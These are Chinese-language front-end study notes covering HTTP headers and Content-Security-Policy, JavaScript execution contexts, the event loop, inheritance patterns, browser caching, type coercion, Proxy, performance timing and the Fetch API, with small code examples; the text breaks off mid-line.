http数据协商\nAccept（客户端想要的数据类型）\nAccept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）\nAccept-Language（数据的语言）\nUser-Agent（浏览器的UA信息）\nContent-Type（服务端返回的数据的实质类型）\nContent-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））\nContent-Language（服务端返回数据的实质语言）\nContent-Security-Policy（内容安全策略，CSP）\n限制资源的获取\nres.writeHead(200, { 'Content-Type': 'text-html', 'Content-Security-Policy': 'default-src http: https:' // 'Content-Security-Policy': 'default-src \\'self\\' http://test.xiaochenabc123.test.com; form-action \\'self\\'; report-uri https://testreport.xiaochenabc123.test.com; report-to reportTest' }); default-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错\n'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）\nreport-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）\nreport-to配置\nReport-To: { \u0026quot;group\u0026quot;: \u0026quot;reportTest\u0026quot;, \u0026quot;max_age\u0026quot;: 10886400, \u0026quot;endpoints\u0026quot;: [ { \u0026quot;url\u0026quot;: \u0026quot;https://reports.xiaochenabc123.test.com\u0026quot; }, { \u0026quot;url\u0026quot;: \u0026quot;https://test.xiaochenabc123.test.com/reports\u0026quot; } ] },{ \u0026quot;group\u0026quot;: \u0026quot;reportTestA\u0026quot;, \u0026quot;max_age\u0026quot;: 10886400, \u0026quot;endpoints\u0026quot;: [ { \u0026quot;url\u0026quot;: \u0026quot;https://reportsA.xiaochenabc123.test.com\u0026quot; }, { \u0026quot;url\u0026quot;: \u0026quot;https://test.xiaochenabc123.test.com/reportsA\u0026quot; } ] }, 当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用\n如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self' http://test.xiaochenabc123.test.com; form-action 'self'\u0026quot;\u0026gt; 浏览器事件循环\n浏览器缓存\njson全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔\njson支持字符串，数值，布尔值，数组，对象，null\nJSON.stringify() json转为字符串\nJSON.parse() 字符串转为json\nJSON字符串：和普通字符串没有区别，只是符合语法规则\n例如：\nlet objStr = '{\u0026quot;name\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;pass\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;true\u0026quot;: null}' let objArr = '[{\u0026quot;name\u0026quot;: \u0026quot;boom\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;hallo\u0026quot;},{\u0026quot;name\u0026quot;: \u0026quot;aaa\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;yes\u0026quot;}]' let obja = JSON.parse(objStr) let objb = JSON.parse(objArr) console.log(obja) console.log(objb) 获取属性和值\n通过对象名.属性名来获取或者修改，例如obja.name\n也可以通过对象名[属性名]来获取或者修改，例如obja[\u0026ldquo;name\u0026rdquo;]\n删除对象属性，delete obja.name\nJSON转JavaScript对象（利用eval()来解析json文本）\nlet objStr = '{\u0026quot;name\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;pass\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;true\u0026quot;: null}' let objArr = '[{\u0026quot;name\u0026quot;: \u0026quot;boom\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;hallo\u0026quot;},{\u0026quot;name\u0026quot;: \u0026quot;aaa\u0026quot;,\u0026quot;pass\u0026quot;: \u0026quot;yes\u0026quot;}]' let obja = eval(\u0026quot;(\u0026quot; + objStr + \u0026quot;)\u0026quot;) let objb = eval(\u0026quot;(\u0026quot; + objArr + \u0026quot;)\u0026quot;) console.log(obja) console.log(objb) JSONP postMessage() websocket Node中间件代理 cors nginx反向代理 window.name + iframe location.hash + iframe document.domain + iframe\n执行上下文和执行栈（调用栈）\nJavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的\n预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）\n声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：\nvar a = 1 上面会被编译器处理为\nvar a a = 1 因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升\n函数声明可以被提升，而且函数表达式不会被提升，例如：\nabc() function abc(){ console.log('hallo word') } xyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升 var xyz = function(){ console.log('hallo hahaha') } 只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明\n声明提升，函数优先，例如：\nabc() // hallo word var abc abc = function(){ console.log('hallo hahaha') } function abc(){ console.log('hallo word') } 可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了\n执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的\n在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行\n全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文\n函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））\nEval函数：在eval函数内部执行的代码也有自己的执行上下文\n执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出\n执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）\n词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）\n词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数\n环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系\n变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）\nJS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment\nJS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）\nJS执行环境（EC），EC全称为Execution Context，又叫执行上下文\n变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象\n活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量\nGO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象\nECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈\nScope：作用域\nScope Chain：作用域链\nLexical Environment：词法环境\nVariable Environment：变量环境\n函数的运行：\n编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址\n执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）\nScope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止\n所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化\nJavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的\n而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）\nEventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理\na programming construct that waits for and dispatches events or messages in a program.\nEvent Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）\n所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环\n宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件\n微任务：Promise.then，process.nextTick（node的特性），MutationObserver\n在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行\njs的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）\n而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理\n例如：\nnew Promise((a) =\u0026gt; a()) .then(() =\u0026gt; console.log(\u0026quot;微任务1\u0026quot;)) .then(() =\u0026gt; console.log(\u0026quot;微任务2\u0026quot;)) console.log('hallo 我是同步任务1') void setTimeout(() =\u0026gt; { console.log(\u0026quot;我是定时任务1 宏任务\u0026quot;) }, 1000) void setTimeout(() =\u0026gt; { console.log(\u0026quot;我是定时任务2 宏任务\u0026quot;) }, 0) void setTimeout(() =\u0026gt; { console.log(\u0026quot;我是定时任务3 宏任务\u0026quot;) }) setTimeout(function() { console.log('我是宏任务，good bye') }, 1000) Promise.resolve() .then(() =\u0026gt; console.log(\u0026quot;微任务3\u0026quot;)) .then(() =\u0026gt; console.log(\u0026quot;微任务4\u0026quot;)) .then(() =\u0026gt; console.log(\u0026quot;微任务5\u0026quot;)) console.log('hi 我是同步任务2') 微任务列表是先进先出，先进入的，就先执行\n运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务\nsetTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理\n例如：\nsetTimeout(function() { console.log('hallo') }, 1) setTimeout(function() { console.log('hhhh') }, 0) console.log('abcabc') setTimeout()方法的返回值是整数，这个整数是该定时器的编号，可通过clearTimeout()方法来取消该定时器，例如clearTimeout(123)，假设该定时器编号为123\nDOM事件级别\nDOM0 函数赋值到一个事件中（可以绑定多个同类型事件），例如onclick=function(){}或者在元素内添加事件\nDOM2 使用监听，可以移除或者添加监听，例如addEventListener(\u0026lsquo;click\u0026rsquo;, test, false)\nDOM3 在DOM2级基础上添加更多事件类型，例如键盘事件addEventListener(\u0026lsquo;keyup\u0026rsquo;, test, false)\nDOM1因为没有定义事件相关的内容，所有没有DOM1级模型\n捕获（从祖先元素捕捉到子元素，精确到目标元素） 冒泡（从目标元素往上冒泡，一直到window元素）\n创建对象的方法\nlet a = {data: \u0026ldquo;hallo word!!!\u0026rdquo;} let b = new Object({data: \u0026ldquo;hallo word!!!\u0026rdquo;}) let c = function(){this.data=\u0026ldquo;hallo word!!!\u0026rdquo;} let d = new c() let e = Object.create(a)\n继承的方法\n通过原型链继承\nfunction test(){ this.data = 123 } function main(){ this.type='main' } main.prototype = new test() // main.prototype.__proto__ = test.prototype console.log(new main) 缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数\n通过构造函数继承\nfunction test(){ this.data = 123 } function main(){ test.call(this) this.type='main' } console.log(new main) 实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）\n盗用构造函数（对象伪装/经典继承）\nfunction test(){ this.data = [123,666,\u0026quot;hahahah\u0026quot;] } function main(){ test.call(this) } let a = new main() let b = new main() a.data.push(\u0026quot;hallo word\u0026quot;) console.log(a,b) 会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法\n组合继承（伪经典继承，将原型链和盗用构造函数方式结合）\n原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）\nfunction test(){ this.data = [123,666,\u0026quot;hahahah\u0026quot;] } function main(){ test.call(this) } main.prototype = new test() let a = new main() let b = new main() a.data.push(\u0026quot;hallo word\u0026quot;) console.log(a,b) 通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象\n缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法\n原型式继承（实例继承）（直接给对象赋值给构造函数的原型）\nfunction test(data){ function hallo(){} hallo.prototype = data return new hallo() } 寄生式继承\nfunction test(data){ let hallo = Object.create(data) hallo.abc = function(){ console.log(this.name+this.pass) } return hallo } let data1 = { name:\u0026quot;root\u0026quot;, pass:\u0026quot;hallo\u0026quot; } let main = test(data1) main.abc() 通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了\n寄生式组合继承（组合继承加寄生式继承）\nfunction test() { this.data = [123,666,\u0026quot;hahahah\u0026quot;] } function main() { test.call(this) } main.prototype = Object.create(test) let a = new main() let b = new main() a.data.push(\u0026quot;hallo word\u0026quot;) console.log(a,b) extends继承（es6继承，通过extends关键字继承）\nclass test { constructor(name=\u0026quot;root\u0026quot;,data=\u0026quot;hallo\u0026quot;) { this.name = name this.data = data } hallo(){ console.log(`${this.name} ${this.data}`) } } class main extends test { constructor(name=\u0026quot;admin\u0026quot;,data=\u0026quot;hahaha\u0026quot;) { super(name,data) } hallo(){ super.hallo() } } let abc=new main('user') abc.hallo() 通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）\n浏览器缓存的分类\n强缓存（本地缓存，不用请求，直接拿来用）， expires和control\nexpires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）\ncontrol（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高\n协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag\nlast-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的\netag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值\n因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型\nObject.prototype.toString()返回表示该对象的字符串\nObject.prototype.valueOf()返回对象的原始值\nSymbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）\n隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）\n隐式类型转换例子：\ntrue + 1 === 2 // true 布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了\n+加号不但可以用来算术运算，还可以做字符串拼接\n字符串加数字，数字自动转字符串\n\u0026quot;123\u0026quot; + 666 // '123666' 数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN\n123 - \u0026quot;100\u0026quot; // 23 相等\n==，当类型不相同时，进行类型转换，再进行比较\n===，首先进行判断类型是否相同\nundefined==null // true \u0026quot;0\u0026quot; == false // true 比较\n\u0026quot;3\u0026quot; \u0026gt; \u0026quot;10\u0026quot; // true 字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊\n实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码\n所以实质上是\u0026quot;3\u0026quot;.charCodeAt() \u0026gt; \u0026ldquo;10\u0026rdquo;.charCodeAt()\n表示\u0026quot;3\u0026quot;的Unicode编码为51，\u0026ldquo;10\u0026quot;的为49\ncharCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0\nlet abc = \u0026quot;你好\u0026quot; console.log(abc.charCodeAt(1)) // 22909 该值为\u0026quot;好\u0026quot;的Unicode编码 同样也可以将Unicode编码转字符串fromCharCode()方法\nlet a = String.fromCharCode(51) console.log(a) // 3 console.log(typeof(a)) // 'string' proxy对象属于一种元编程（meta programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy\nES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler\nlet proxy = new Proxy(target, handler)\ntarget参数是要拦截的对象，handler参数为拦截后的行为（也是对象）\nProxy支持13种拦截行为，分别是：\nget()：读取属性\nset()：修改属性\nhas()：in操作符，判断某个属性是否存在于这个对象之中\napply()：当Proxy拦截函数时\nconstruct()：当使用new关键字时\ndeleteProperty()：当使用delete删除对象的属性时\ndefineProperty()：当使用Object.defineProperty修改属性修饰符时\nownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时\ngetPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时\nsetPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时\nisExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）\npreventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时\ngetOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时\n这里只写最常用的get()和set()\nconst abc = { name: \u0026quot;chenjunlin\u0026quot;, pass: \u0026quot;123456789\u0026quot; } const proxy1 = new Proxy(abc, { get(target, property, receiver) { if (property in target){ return target[property] }else{ return '读取失败' } }, set(target, property, value, receiver){ target[property] = value console.log(`${property}属性被设置值`, value) } }) console.log(proxy1.name) console.log(proxy1.pass) console.log(proxy1.hallo) proxy1.name = \u0026quot;root\u0026quot; console.log(proxy1.name) proxy1.pass = \u0026quot;123\u0026quot; console.log(proxy1.pass) target是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）\nReflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同\n例如：\nconst obj = { name: \u0026quot;root\u0026quot;, pass: \u0026quot;123\u0026quot; } Reflect.get(obj, \u0026quot;name\u0026quot;) Babel编译工作\nBabel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon\n像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现\n前端性能指标\n首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容\n首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间\n首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）\n首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）\n用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）\n视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）\nFID（First Input Delay，首次输入延迟）\nPSI（Perceptual Speed Index，视觉变化率）\nFPS（Frames Per Second，每秒显示帧数）\n白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间\n白屏时间FP = domLoading - navigationStart\n可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积\n首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间\nMutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的\n首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）\n首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）\nDNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间\nDNS查询优先级：浏览器缓存\u0026gt;hosts\u0026gt;路由器缓存\u0026gt;DNS服务器缓存（ISP）\u0026gt;根服务器缓存\nChrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间\n开启DNS预解析\n尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）\n预连接\n预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）\n预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）\nHTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）\n以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）\n例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个\n资源Gzip压缩，避免301和302重定向，骨架屏\n性能数据获取\nwindow.performance\nconst TimeData= window.performance TimeData.memory // 该字段表示JavaScript对内存的占用 console.log(TimeData.memory) memory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））\nconsole.log(TimeData.navigation) navigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））\ntimeOrigin字段\nconst datea = new Date(TimeData.timeOrigin) console.log(datea) console.log(TimeData.timeOrigin) 返回性能测量开始时的高精度时间戳\ntiming字段虽然已被w3c标准抛弃，但是这玩意的接口很强大\nconsole.log(TimeData.timing) 可以看到输出了21个属性，这些属性分别是\nconnectEnd: http连接成功的时间（建立连接） connectStart: http开始建立连接的时间（开始连接） domComplete: dom解析完毕的时间，资源也准备就绪（Document.readyState值为complete） domContentLoadedEventEnd: DOMContentLoad事件结束时间，dom解析完毕，并且资源加载完毕 domContentLoadedEventStart: DOMContentLoad事件开始时间，dom解析完毕，开始加载资源 domInteractive: 解析html文档，dom树创建完毕的时间，资源还没加载（Document.readyState值为interactive） domLoading: 开始解析渲染dom树的时间（Document.readyState值为loading） domainLookupEnd: DNS查询域名结束时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） domainLookupStart: DNS查询域名开始时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） fetchStart: 浏览器准备发起第一个资源请求的时间（检查缓存之前） loadEventEnd: load事件结束的时间 loadEventStart: load事件开始时间 navigationStart: 前一个页面的unload时间（当前窗口的前一个页面的关闭并且发生unload事件时），如果没有前一个页面，则表示fetchStart时间 redirectEnd: 最后一个http重定向发生时的时间 redirectStart: 第一个http重定向发生时的时间 requestStart: http连接完成并且请求真实文档的时间 responseEnd: http返回响应并且全部接收完成的时间（接收最后一个字节） responseStart: http开始接收响应的时间（接收第一个字节） secureConnectionStart: http连接开始的时间（和connectEnd类似），如果不是安全连接返回0 unloadEventEnd: 前一个页面中的unload事件所绑定的回调函数执行完毕的时间 unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0\n单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）\n重定向时间：redirectEnd - redirectStart\ndns查询时间：domainLookupEnd - domainLookupStart\ntcp建立连接并且完成握手时间：connectEnd - connectStart\n内容加载完成时间：responseEnd - requestStart\nDNS缓存时间：domainLookupStart - fetchStart\n卸载页面的时间: unloadEventEnd - unloadEventStart\nrequest请求耗费时间（重定向）：redirectEnd - redirectStart\n解析DOM树耗费的时间：domComplete - responseEnd\n白屏时间：domLoading - fetchStart\n用户可交互时间：domContentLoadedEventEnd - fetchStart\n前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart\nonload回调函数的执行时间：loadEventEnd - loadEventStart\n用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart\ncookie\ncookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本\n通过document.cookie = \u0026ldquo;xxx\u0026quot;来修改cookie\ncookie存储大小限制在4kb\nFetch api允许在JavaScript发起http请求和响应，使用Promise\nfetch('https://api.github.com/') .then(response =\u0026gt; response.json()) .then(data =\u0026gt; console.log(data)) .catch(err =\u0026gt; console.log('Request Failed', err)) 可以看到fetch接收一个url参数，并且具备then和catch方法，并且response接收到数据是stream对象，并且将这个stream对象转换为json对象\nfetch只有当网络故障或者请求被阻止时才报错，因此不管是否请求成功（例如404或者502）\nresponse对象还有一些属性，例如response.ok（表示是否请求成功，http状态码在200-299的范围时），response.status（http状态码），response.url（请求的url，如果有跳转，那么该属性值为最终的请求地址），response.redirected（请求是否发送跳转），response.headers（请求头）等等\n例如： async function getData(url = \u0026ldquo;\u0026quot;,data={}){ const response = await fetch(url, { method: \u0026lsquo;GET\u0026rsquo;, headers: { \u0026ldquo;Content-type\u0026rdquo;: \u0026ldquo;application/x-www-form-urlencoded\u0026rdquo;, }, }) return response.json() } getData(\u0026lsquo;https://api.github.com/') .then(data =\u0026gt; { console.log(data) })\n基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量\n引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）\n类型检测\ntypeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））\ninstanceof（不能正确判断基础数据类型，但是可以判断引用类型）\n在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==\u0026lsquo;object\u0026rsquo; || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型\nObject.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\\S+)]$/, \u0026lsquo;$1\u0026rsquo;)）\nfunction a(){ console.log(\u0026quot;hallo\u0026quot;) } let b = { name: \u0026quot;abc\u0026quot;, pass: \u0026quot;123\u0026quot; } let c = [1,3,5,7,9] let d = new a let e = 'hallo word' console.log(typeof a) // function console.log(typeof b) // object console.log(typeof 